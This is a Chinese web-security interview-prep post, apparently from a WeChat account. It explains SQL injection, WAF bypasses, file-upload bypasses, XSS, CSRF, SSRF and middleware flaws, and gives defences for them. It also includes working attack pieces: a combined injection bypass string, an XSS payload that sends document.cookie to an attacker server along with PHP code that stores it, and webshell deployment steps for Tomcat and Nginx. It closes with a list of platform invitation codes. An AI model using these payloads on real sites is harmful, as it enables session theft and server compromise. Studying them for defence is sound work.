主要的Web漏洞
以有无闭合字符分类:字符型、整数型
以数据传输方式分类:post类型、get类型
注入方式细分:联合查询注入、报错型注入、布尔型盲注、时间型盲注、宽字节注入
报错注入常用函数:
UpdateXML()
Floor()
Extractvalue()
exp()
Information_schema
时间型盲注特点?常用函数?易受到什么影响?
场景:应用于无数据回显,无报错,布尔型盲注失效后
特点:时间型盲注页面没有明显的回显,只能根据页面刷新时间的长短来去判断构造语句是否正确;
常用函数: sleep函数 if条件语句 等
易受网络波动影响
布尔型盲注特点?常用函数?
特点:根据页面正确和错误的两种状态,来判断构造语句是否正确
常用函数:length() #用以猜测数据返回字符串的长度
Sunstr() #截取字符串
Mid() #取出字符串的一部分值
Left() #取出字符串左边的几个数据
Ascii() #返回一个字符的ascii码值
SQL手注的一般步骤:
判断注入类型
判断注入点提交方式
使用order by语句查询数据库有多少字段
使用联合查询来查询 union select
User() 当前用户
Database() 数据库
Version() 数据库版
本查询数据库中的表、列和值
SQL注入绕waf姿势
1、函数大小写混合绕过:
可以绕过的原因:服务器端检测时未开启大小写不敏感
2、多重关键字绕过可以绕过的原因:
服务器端检测到敏感字符时替换为空 形式:ununionion selselectect
3、编码绕过可以绕过的原因:
服务器端未检测或检测不严具有编码形式的关键字
编码类型:十六进制编码、URL编码、Unicode编码
4、注释绕过
可以绕过的原因:服务器端未检测或检测不严注释内的字符串
注释形式: 形式:/**/,/*!*/,/*!12345*/,#,-- -等
5、等价函数或命令绕过
可以绕过的原因:服务器端黑名单不完整,过滤不严
等价函数形式:Mysql查询:Union distinct、updatexml、Extractvalue、floor
字符串截取函数:mid、substr、substring、left、reverse
字符串连接函数:concat、group_concat、concat_ws
字符串转换:char、hex、unhex
替换逗号:limit 1 offset 0,mid(version() from 1 for 1)
替换等号:like
6、特殊符号绕过绕过原因:数据库中效果相同,服务器端却没有
限制形式:科学记数法 and 1e0 = 1e0
空白字符 %0a %a0 %0b %20 %09
反单引号 `table_name`
括号 select * from (test.admin)
7、组合绕过可以绕过原因:
服务器端检测多处位置,需要多重绕过方式组合使用
形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3
SQL注入漏洞挂马利用成功的条件?(sql注入挂马)
支持联合查询
知道网站的绝对路径
上传马的路径允许写入文件
木马上传上去后能够被解析执行。
能够找到木马上传上去以后的位置。
sqlmap挂马用什么参数?原理?
--os-shell
内置了一个方法select * into dumpfile,这个方法可以写入一个文件。
SQL注入漏洞如何防御?
过滤恶意字符和函数(select union orderby)过滤或转义单引号双引号
使用参数化的语句来传递用户输入的变量
Sql预编译也可以预防
(预编译语句创建对象时就指定了sql语句)预编译语句和Statement不同,在创建PreparedStatement 对象时就指定了SQL语句,该语句立即发送给DBMS进行编译。当该编译语句被执行时,DBMS直接运行编译后的SQL语句,而不需要像其他SQL语句那样首先将其编译。预编译的SQL语句处理性能稍微高于普通的传递变量的办法。
SQL注入getshell
web目录具有写权限,能够使用单引号
知道网站绝对路径
secure_file_priv没有具体值(在mysql/my.ini中查看)
文件上传漏洞
(1)文件上传漏洞原理
开发人员未在文件上传点对文件名和文件内容做严格的过滤
导致用户可以上传恶意脚本到服务端。
(2)文件上传漏洞一般上传什么马?
符合网站语言环境的一句话、冰蝎、大马等等
(3)文件上传绕waf方式
绕过黑名单(大小写绕过)、
绕过白名单%00截断(可以配合中间件漏洞)
绕过前端验证(burp抓包修改Content-Type: 为允许的字段)
对文件内容进行绕过
文件上传常用方式
当你进行文件上传时,发现网站是iis服务器你会上传什么后缀类型的马?
asp或者aspx
当你上传asp的脚本文件时上传不上去,你会上尝试再上传什么类型的后缀文件?为什么上传此类后缀的文件?
脚本我会尝试将文件后缀名改为asa或者cdx或者cer尝试进行上传;
Iis服务器开启了文件后缀扩展功能
php
Jsp
当你发现上传服务器中间件是weblogic中间件,你会尝试上传什么后缀的马?
Jsp
Php
文件上传漏洞防护防护:
常见的防护措施比如文件类型可以通过白名单或者黑名单进行判断
当文件上传后对文件进行重命名呀,限制上传文件大小等
白名单比黑名单要更安全一些
文件上传绕waf
1.文件名大小写绕过
用像 AsP,pHp 之类的文件名绕过黑名单检测
2.名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类
3 特殊文件名绕过
比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格)
这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,
会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。
4 htaccess
文件配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测
5 写入方法
首先名字为1.php:jpg,会写入一个1.php的空文件,然后再上传一个文件,
然后修改名字为3.<<<这样就会把我们这个文件的内容写入到我们上传的那个1.php空文件中
6截断绕过上传
1.php .jpg 空格二进制20改为00
还有一些图片木马之类的,需要结合文件包含漏洞来解析
xss漏洞(跨站脚本)
xss漏洞原理及防护
前提:
当应用程序没有对用户提交的内容进行验证和重新编码而是直接呈现给网站的
访问者时,就可能会触发XSS攻击
原理:
攻击者利用相应的漏洞,在页面中嵌入JS脚本,用户访问含恶意脚本代码
的页面或打开收到的URL链接时,用户浏览器自动加载执行恶意代码,达到攻击的目的。
防护手段:
过滤危险字符,输入长度限制
HTML实体编码
使用黑名单
对于反射型和存储型:
可以在数据返回客户端浏览器时,将敏感字符进行转义;
对于DOM型,可以使用上下文敏感数据编码。
xss类型有哪些?哪种类型危害最大?
存储型、dom型、反射型
存储型危害最大
类型区别
反射型:经过后端,不经过数据库;
存储型:经过后端,经过数据库;
DOM型:不经过后端。
反射型是一次性的,用户访问带xss代码的请求时,服务器接受请求并处理,
之后将带有xss代码的数据返回给浏览器,浏览器解析执行;
存储型中提交的恶意内容会被永久存储在数据库,攻击行为伴随攻击数据一直存在;
DOM型的触发基于浏览器对DOM数据的解析来完成,完全是客户端的事。
首先写一段js脚本,会用到document.get【cookie值】,然后把这个恶意脚本
放到网站中的一些地方诱骗点击,点击后cookie值会被传送到我的电脑中来。
在自己的vps上放入如下代码:
<?php $cookie = $_GET['cookie'];
file_put_contents("cookie.txt",$cookie);
echo '已成功获取cookie信息';?>
payload:<script>document.location="
http://xxx.xxx.xxx.xx/cookie.php?cookie="+document.cookie;</script>
csrf漏洞(跨站请求伪造)
修复
验证http头的referer:仅响应referer头带本域的请求
请求地址中添加token验证
使用localstorage和sessionstorage保存会话
类型
get请求型csrf:
只需要构造url,然后诱导受害者访问
post请求型csrf:
构造自动提交的表单,诱导受害者访问或者点击。
与ssrf的区别
ssrf漏洞(服务端请求伪造)
ssrf漏洞修复:
url白名单(限制不能访问内网的ip)
过滤返回信息
统一错误信息
限制请求端口只能为web端口,只允许访问http和https的请求;
ssrf利用
1、可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
2、攻击运行在内网或本地的应用程序(比如溢出)
3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现;
4、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2漏洞利用等)
5、利用file协议读取本地文件
6、利用Redis未授权访问,HTTP CRLF注入达到getshell
7、DOS攻击(请求大文件,始终保持连接keep alive always)等等
绕过姿势
(绕黑名单)进制转换ip
(绕白)使用@在主机名之前的url中嵌入凭据;
302跳转;
DNS重绑定
任意文件读取、系统命令执行、内网端口探测、攻击内网网站、钓鱼
使用开发语言提供的禁用外部实体的方法;
过滤提交的xml数据;(过滤SYSTEM等敏感关键字)
中间件漏洞
存在目录遍历漏洞的中间件有哪些?
Iis、apache、nginx
哪些存在war后门文件部署?
Tomcat、weblogic、jboss
iis
解析漏洞
防御方法:
1.禁止上传和创建此类畸形文件
2.图片存放目录设置为禁止脚本执行
Apache
apache默认一个文件可以有多个以点切割的后缀,当最右的后缀无法识别时,就继续向左识别,直到识别到合法后缀才开始解析,如xxx.php.qqq,qqq无法识别,就继续解析,到php时能够识别,就解析为php文件
修改httpd.conf文件中的参数
弱口令+war后门文件部署
原理:
tomcat如因配置不当导致未授权直接登录后台,或者由于弱口令的存在登录后台-
可以在后台上传war包,我们可以将jsp代码植入到war包里面-
然后访问该war包即可执行jsp代码
war包制作命令,在jdk目录下:jav cvf shell.war 1.jsp 完成制作
同时msf的exploit/multi/http/tomcat_mgr_upload模块可以执行此操作
在tomcat-users.xml中定义了tomcat用户的信息与权限,
弱口令得到后访问http://127.0.0.1:8080/manager/html
打开管理页面,输入用户名密码登录后台,用“WAR file to deploy”上传挂马。
之后访问一句话木马即可
原理:
tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传;
因此我们需要配合windows的解析漏洞:
适用诸如 1.jsp%20 、 1.jsp::$DATA 则可以成功绕过检测上传成功
注意:若是linux + tomcat5.0~9.0 ,可以上传1.jsp/绕过
nginx
文件解析漏洞
原理:用户配置不当造成的解析漏洞。由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析
例如:在1.jpg中写入一句话木马,上传1.jpg/xxx.PHP
防御手段:
1、将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、php-fpm.conf中的security.limit_extensions后面的值设置为.php
目录遍历
原理:Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。(程序在实现上没有充分过滤用户输入的../之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件、这里的目录跳转符可以是../,也可是../的ASCII编码或者是unicode编码等)
修复
将nginx.conf中的autoindex on 中的“on”改为“off”
最后就是我们的edusrc平台邀请码了,很多师傅私信没来得及回,在这里跟大家说一声抱歉,邀请码奉上,请即取即用
01b50574b4ea0bb917fcda141b4490b7
231f0ef654211dd3b668bd90cb1bdeec
657578fb1b48ebc629726dcf370a7d47
a00e58750cf8616133ced566f2ade718
550ae9160f5c564323bbf3bfe0b3b273
b77f4d2aa06aa1258ca5c95661f2d0ca
0df882344d2a6e0f6a78be6c49382e68
aab4f8ee82998d0bfe60e0a8a10075d2
2c613986debb237a204f62cf5f30016a
222bf192c4fcab8fe4390edbfd1c4108
6a17ff454ce63cea86ba471b9f865c29
98832c374a0b7e742eb74b1e43196bb5
64ec6814d040050474f40c8ea6732657
136fc79228f8d5622bbe45e7133664a4
6304aa62aaf801835e09ddc795c85cf1
7a69dddb50b25861ea34f90ece0e1754
a35af3979db442c4a73d671a0cd601d9
26238d38fe64af31e544520ae8c65893
a83700dd9377d5a2e39851ffe55198fb
9c192bbbefd9ef9fbe1656817df399a7
2924fa823d891f1e2e458aac5b54a046
548e60e698827c91b62a3f5f5b706a42
afdd951f4ab8eef2724160ca7272510f
a689c02c1cbae58e4f949cbde1cf2266
03c473223d73bb91e4701865fb89dbf8
ed616affe2b0fde346457f2cc0bcec8f
70e2ec02dccf4d0ac226ca8be2e31faf
6aec74f38921aaeadeb1be5a63486177
778b2629c37965d59ce45091ae922b21
3ddedf3c69f839ac08219d0a68ea8eed
eebaa5ac3b4e978492236d4ea8900bbe
7b8407024f716afe0f75e5a6d00d65ca
12b91cd35c7a19b848e956d7ad504574
e522ba725fcc80a9351f90940e7b3880
ef2e41658e83a3eee5862ab80860a855
ad55d457bead7c07687ec4b9d1f73ee9
ee99195daa979be6d0d85fbb2fed564b
d07d5de08f9c38777ebcc2954bef415f
b7aa1c4c310d1284801b20772abe8a79
a9ab33d4d054f9280447aa5dea32088e
9be87f37484dca4bfa42956f12b387ae
5ba9fecebcd246012a4b6a02adfd8e87
ae53354049991f5d5e50d39abe04f7a3
484c89d50c46690493f370bdbfa33330
cb8f564b68e7aa5fb3fa08ae9b3315cd
af18bd4b6e045ef25e1b8ed078bea0b9
df23996f0d8076ed35f71a5c2608f6fc
23267bd613a4c8b6555ddcbdcb008a21
32ef66c44a3e3c68f1ce36193b33de67
bcda65924c2b8bcbd550741b72e6e183
原文始发于微信公众号(Poker安全):Hvv常见Web面试题【文末附赠edu邀请码】
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论